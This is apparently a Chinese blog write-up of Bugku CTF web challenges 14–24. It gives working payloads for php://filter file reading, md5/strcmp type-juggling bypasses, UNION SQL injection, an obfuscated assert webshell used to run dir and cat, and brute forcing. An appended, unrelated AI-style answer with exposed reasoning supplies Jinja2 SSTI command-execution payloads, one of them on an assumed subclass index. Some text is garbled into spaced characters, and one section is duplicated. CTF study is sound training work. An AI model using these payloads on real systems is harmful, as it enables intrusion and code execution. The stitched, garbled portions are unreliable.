bugku web知识点总结_2

本文总结了Bugku平台上的Web安全挑战题目,包括文件包含、SQL注入、密码破解等多种攻击手段,通过实战案例展示了如何利用漏洞获取Flag。

bugku web总结(14-24)

web14:

打开题目,可以看到一个链接click me

在这里插入图片描述

点击后显示了index.php,可能提示flag存在index.php中

在这里插入图片描述

如上图我们还可以看到多了一个参数file,很像是文件包含,这里我们可以尝试使用php伪协议读取文件内容,放上一个介绍php伪协议的文章链接https://segmentfault.com/a/1190000018991087

构造payload:php://filter/read=convert.base64-encode/resource=index.php,其中read为读过滤器,此项为选填,这里选用了base64编码,防止无法直接传输,resource为必填,指定我们要读取的数据流

拿到一串base64编码

在这里插入图片描述
hackbar解码,可以看到源码中有一行注释,成功拿到flag

20210416183207599.png

web15:

打开之后提示输入5位密码

在这里插入图片描述

直接burp扔给intruder爆破,没什么好说的

在这里插入图片描述

在这里插入图片描述

web16:

点开题目之后,给了一串md5值

在这里插入图片描述

解密之后显示空密码,右键查看源代码也看不到什么特殊东西

在这里插入图片描述

结合题目的名字,叫做备份是个好习惯,我们目录扫描一波后台,看看能不能发现备份文件

不出所料,有一个index.php.bak文件

在这里插入图片描述

我们访问它,将其下载下来,源码如下

<?php
/**

 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
   */

include_once "flag.php";    //告诉我们flag文件
ini_set("display_errors", 0);  //ini_set设置php.ini选项,此处参数display_error为报错回显
$str = strstr($_SERVER['REQUEST_URI'], '?');//$_SERVER['REQUEST_URI']回显当前路径,strstr函  												数为截取字符串,如此处为从?截取到字符串结束为止
$str = substr($str,1);      //substr也是截取字符串,此处表示从第一个开始(扔掉?),截取到结尾
$str = str_replace('key','',$str); //将变量str中的key替换为空
parse_str($str);      //parse_str函数将括号内的赋值语句直接转化为变量,并给它赋值,比如								parse_str(a=1),就会创建一个变量a,并赋值为1
echo md5($key1);	//变量key1md5加密

echo md5($key2);	//同上
if(md5($key1) == md5($key2) && $key1 !== $key2){	//md5加密后的key1和key2相等,原值不相等
    echo $flag."取得flag";	//打印flag
}
?>

这里既要key1和key2的md5值相等,原值又不能相等,有两个思路,一是利用md5()函数对数组不起效,将两个变量以数组形式输入,这样两个md5()都返回null,满足相等条件

payload:?kekeyy1[]=12agh&kekeyy2[]=123ccnjgg

二是利用php在处理长的字符串时会转换成科学计数法,我们可以找两个md5值是0e开头的,它在解析时会当做0的xx次方,都是0,满足条件

payload:?kekeyy1=240610708&kekeyy2=s155964671a

web17:

点开题目之后,给了一个成绩查询页面

在这里插入图片描述

很自然的想到sql注入,经测试是个字符型的,无任何过滤,没啥好说的,手注、sqlmap均可

最后得到flag,payload:0’ union select 1,2,3,skctf_flag from fl4g#

在这里插入图片描述

web18:

点开题目之后,给出一个算式,让我们2s给出结果

在这里插入图片描述

很显然手工做不到,但是可以借助脚本获取数值之后计算传参,拿到flag

import requests #引入request库
import re 		#引入re库
url = '''http://114.67.246.176:10736/'''
s = requests.session()  #用session会话保持表达式
retuen = s.get(url)
equation = re.search(r'(\d+[+\-*])+(\d+)',retuen.text).group()
result = eval(equation)	#eval()函数用来执行一个字符串表达式,并返回表达式的值。

key = {'value':result}#创建一个字典类型用于传参
flag = s.post(url,data=key)#用post方法传上去

print(flag.text)
web19:

打开题目之后,会提示我们快一点,bp抓包查看返回信息,可以在header中看到一串类似flag的东西

在这里插入图片描述

base64两次解密后会变成一串数字,提交上去也不对,把请求包再send一次,会发现flag会变,好吧,确实速度要快,和上一题基本一个思路,下面给出脚本代码

import requests
import base64
url = "http://114.67.246.176:17056/"
r = requests.Session()
headers = r.get(url).headers
str1 = base64.b64decode(headers['flag'])
str2 = base64.b64decode(repr(str1).split(':')[1]) # repr()函数将对象转化为供解释器读取的形式(Bety-		>str)
data = {'margin':str2}
print (r.post(url,data).text)

python3运行,成功拿到flag

web20:

打开题目之后,会给出一长串不明意义的字符串,右键查看源码也并没有发现什么

在这里插入图片描述

观察url,有两个参数,一个line是空的没有赋值,另一个filename给了一串base64编码:a2V5cy50eHQ=,解码之后得到keys.txt,将文件名换为同样base64加密后的index.php,可以看到一个标签"<?php",可以确定此处能够查看源码,依次改变line值,最后可以读出整段源码,如下

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array('0' =>'keys.txt','1' =>'index.php',);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ #当cookie为margin=margin时
	$file_list[2]='keys.php';}                    #给file_list[2]增加keys.php
if(in_array($file, $file_list)){
	$fa = file($file);
	echo $fa[$line];}
?>

从代码中可以看到,当cookie为margin=margin时,会在file_list[2]数组中增加keys.php的值

我们照做,使用hackbar或burp抓包添加cookie值后,查看返回包或返回页面源码,即可拿到flag

web21:

点开之后没看到啥提示信息

在这里插入图片描述

右键查看源码,可以看到提示了一个1p.html

在这里插入图片描述

直接访问此页面的话,会跳转至bugku的首页,我们用burp抓包,将请求页面替换为1p.html

在这里插入图片描述

返回的数据包中包含一串url编码

<HTML>

<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
</SCRIPT>
</HEAD>

<BODY>
</BODY>
</HTML>

解码之后得到一串注释

"<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF-->"

将注释base64解码,终于得到源码

";if(!$_GET['id'])     //变量id不为空
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))   //变量a中不含有.
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');     //将变量a的值读入$data
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)  //①
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}
?>

①:首先要求data的值,即a的内容为bugku is a nice plateform!,id不为0,且长度大于5,substr($b,0,1)为截取b的第一个字符(从第0个开始读取1个),111+b的第一个字符需要在1114中出现,且b的第一个字符不能为4

总结一下,想要输出flag,必须满足几个条件:a要为bugku is a nice plateform!,id不能为空但需要id==0,此处可以使用0e1234来绕过(会识别为科学计数法),也可以使用0abc来绕过,php是弱类型语言,数字和字符(串)的比较是存在类型转换的,对字符串来说是以开头的数字为准,所以在松散(==)比较中,0==0abc是正确的,详情可以百度=====的差别,最后还要满足上文①中b的要求,这里可以用.12345或*12345来绕过,这两个符号为php的通配符,放在此处取第一个字符后会被当成是任意字符

最终payload:?id=0e123&a=php://input&b=.12345,另外需要在下面加上post传参bugku is a nice plateform!

得到flag

在这里插入图片描述

web22:

这题并没有把提示放在题目中,而是放在了题目入口处

送给大家一个过狗一句话

 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])

分析一下,这一串代码总结下来:

1.$poc=a#s#s#e#r#t

2.$poc_1=explode("#",$poc),这个函数的意思是以#为定界符,分隔字符串$poc,即$poc_1=assert

3.$poc_2=$poc_1=assert,$poc_2($_GET['s'])的含义就是assert($\_GET['s']),assert函数可以进行代码执行

那接下来就好办了,先dir看下当前目录下的文件

在这里插入图片描述

看到了flag文件,直接cat查看,拿到flag

在这里插入图片描述

web23:

点击进入题目,直接给了一段源码

在这里插入图片描述

<?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?> 

一开始看到源码中提示了一个文件2.php,切换到这个文件,会发现返回的页面依旧是这个页面,没办法,那就看看源码

源码中给 k e y 赋 值 了 f l a g , 并 在 下 面 的 i f 判 断 中 利 用 d i e 函 数 输 出 了 这 个 值 , 那 么 我 们 现 在 的 目 标 就 是 让 下 面 这 个 i f 判 断 成 立 , 要 成 立 就 要 key赋值了flag,并在下面的if判断中利用die函数输出了这个值,那么我们现在的目标就是让下面这个if判断成立,要成立就要 keyflagifdieifIM为真,此处 I M 为 p r e g m a t c h 函 数 的 一 个 返 回 值 , 这 个 函 数 是 判 断 搜 索 第 二 个 参 数 与 第 一 个 参 数 的 一 个 正 则 匹 配 , 即 第 二 个 参 数 ‘ t r i m ( IM为preg_match函数的一个返回值,这个函数是判断搜索第二个参数与第一个参数的一个正则匹配,即第二个参数`trim( IMpregmatchtrim(_GET[“id”])中是否存在第一个参数"/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i"`,如果存在返回true,不存在返回false

解释一下这个参数中涉及到的一些符号

. 为通配符,表示一个任意非\n和\r单字符

.*为字符串通配符,详情可百度"贪婪匹配"

\为转义符

[a-z]为任意小写字母

[[:punct:]]为任意符号

/i为不区分大小写

()标记一个子表达式的开始和结束位置,此处不用理会

最后得到payload: ?id=keyakeyaaaakey:/a/akeya?

成功拿到flag

在这里插入图片描述

web24:

点开题目之后,是一大段文字,讲了个小段子,玩了一下php的梗

在这里插入图片描述

查看页面源码,发现给了一个链接

在这里插入图片描述

点击进去,这个txt给了一段源码

在这里插入图片描述

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

看了源码之后,会发现这题和前面的web16很像,都是既要md5值相等,又要原值不相等

有两个思路,一是利用md5()函数对数组不起效,将两个变量以数组形式输入,这样两个md5()都返回null,满足相等条件

二是利用php在处理长的字符串时会转换成科学计数法,我们可以找两个md5值是0e开头的,它在解析时会当做0的xx次方,都是0,满足条件

这里还多出来一个strcmp函数,这个函数的作用是比较两个字符串,且只有两个字符串相等时,才会返回0,这里利用strcmp对数组不起作用,直接返回0来绕过

构造payload:?v1[]=1&v2[]=2&v3[]=1

得到flag

看了源码之后,会发现这题和前面的web16很像,都是既要md5值相等,又要原值不相等

有两个思路,一是利用md5()函数对数组不起效,将两个变量以数组形式输入,这样两个md5()都返回null,满足相等条件

二是利用php在处理长的字符串时会转换成科学计数法,我们可以找两个md5值是0e开头的,它在解析时会当做0的xx次方,都是0,满足条件

这里还多出来一个strcmp函数,这个函数的作用是比较两个字符串,且只有两个字符串相等时,才会返回0,这里利用strcmp对数组不起作用,直接返回0来绕过

构造payload:?v1[]=1&v2[]=2&v3[]=1

得到flag

在这里插入图片描述

<think>嗯,用户需要关于Bugku平台上Web题目Simple_SSTI_2的解决方案或详细信息。首先,我得回忆一下SSTI(服务器端模板注入)的基本概念。SSTI通常发生在使用模板引擎渲染用户输入时,如果未正确过滤输入,攻击者可以注入恶意代码。常见的模板引擎有Jinja2(Python)、Twig(PHP)、FreeMarker(Java)等。 题目是Simple_SSTI_2,可能比第一题稍难。可能需要绕过一些过滤器或黑名单。比如,某些关键字如"class"、"subclasses"可能被过滤,或者某些特殊字符被转义。用户可能需要找到替代的方法来访问对象的方法或属性。 首先,确定使用的模板引擎类型。例如,Bugku的题目可能基于Python的Flask框架,使用Jinja2模板。在Jinja2中,常用的Payload比如{{config}}或者通过对象继承链来执行命令。比如,通过访问''.__class__.__mro__[1].__subclasses__()来获取子类,寻找可利用的类如subprocess.Popen。 但是题目可能有过滤,比如过滤了下划线或某些关键字。这时候需要绕过,比如使用request.args或request.values来传递参数,或者使用字符串拼接、十六进制编码等方式。例如,将__class__拆分为'_'+'_class'+'_'+'_',或者使用其他属性访问方式如attr()方法。 另外,可能需要绕过对特定函数的限制,比如os模块被禁用,可以考虑使用其他模块如subprocess来执行命令。或者利用内置函数如__import__来动态导入模块。 假设题目中存在黑名单过滤了"class"、"subclasses"等关键字,那么可能需要寻找替代方法。例如,使用原生Python的魔术方法或属性,或者使用过滤器如|attr()来拼接字符串。例如,{{''|attr('__class__')}}来获取类对象。 另外,如果题目中存在对某些字符的过滤,比如双下划线被过滤,可以使用request对象中的参数来传递。例如,构造Payload为{{''[request.args.a][request.args.b][request.args.c]()}},然后通过URL参数传递a=__class__,b=__base__等。 还需要考虑如何执行系统命令。例如,找到subprocess.Popen类,然后调用它执行命令。可能需要遍历子类来找到可用的类。例如,在Jinja2中,可以通过{{''.__class__.__mro__[1].__subclasses__()}}来获取所有子类,然后找到索引对应的Popen类。 如果题目中有沙箱环境,可能需要更复杂的绕过方式,比如利用Python的内省机制或全局变量。例如,使用__globals__或__builtins__来访问需要的函数。 总结步骤可能为:确定模板引擎类型→探测过滤规则→构造Payload绕过过滤→访问对象继承链→找到可利用的类→执行命令获取flag。 可能需要参考类似题目的解法,比如通过{{config}}查看配置信息,或者通过{{''.__class__.__base__.__subclasses__()[X].__init__.__globals__}}来访问模块的全局变量,进而导入os模块执行命令。 最后,验证Payload的有效性,并确保在题目环境中正确执行。可能需要多次尝试不同的索引或方法,直到找到正确的子类索引。</think>### Bugku Web题目 Simple_SSTI_2 解决方案 #### 1. 漏洞背景 Simple_SSTI_2考察**服务器端模板注入(SSTI)**漏洞,常见于未严格过滤用户输入的模板引擎(如Jinja2)。攻击者通过注入恶意代码可执行任意命令或读取敏感数据[^1]。 #### 2. 基本分析步骤 1. **确定模板引擎类型** 输入`{{7*7}}`,若返回`49`则为Jinja2/Twig类引擎;若返回`7777777`则可能为其他引擎(如Mako)。 2. **探测过滤规则** 尝试基础Payload如`{{''.__class__}}`,若返回错误或空白,说明可能过滤了关键字(如`_`、`class`)。 例如题目可能过滤下划线,需改用其他方式(如`request.args`传参或字符串拼接)。 #### 3. 绕过过滤的Payload示例 假设题目过滤了`_`和`class`,可通过以下方式绕过: ```python {{ ''|attr(request.args.a) }}&a=__class__ ``` 或使用十六进制编码: ```python {{ ""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f") }} ``` #### 4. 利用对象继承链执行命令 1. **获取基类** ```python {{ ''.__class__.__mro__[1] }} # 输出:<class 'object'> ``` 2. **遍历子类寻找可利用类** ```python {{ ''.__class__.__mro__[1].__subclasses__()[400] }} # 假设索引400为subprocess.Popen ``` 3. **执行系统命令** ```python {{ ''.__class__.__mro__[1].__subclasses__()[400]('ls', shell=True, stdout=-1).communicate() }} ``` #### 5. 获取Flag的典型Payload 若题目限制严格,可通过`__globals__`访问内置模块: ```python {{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }} ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值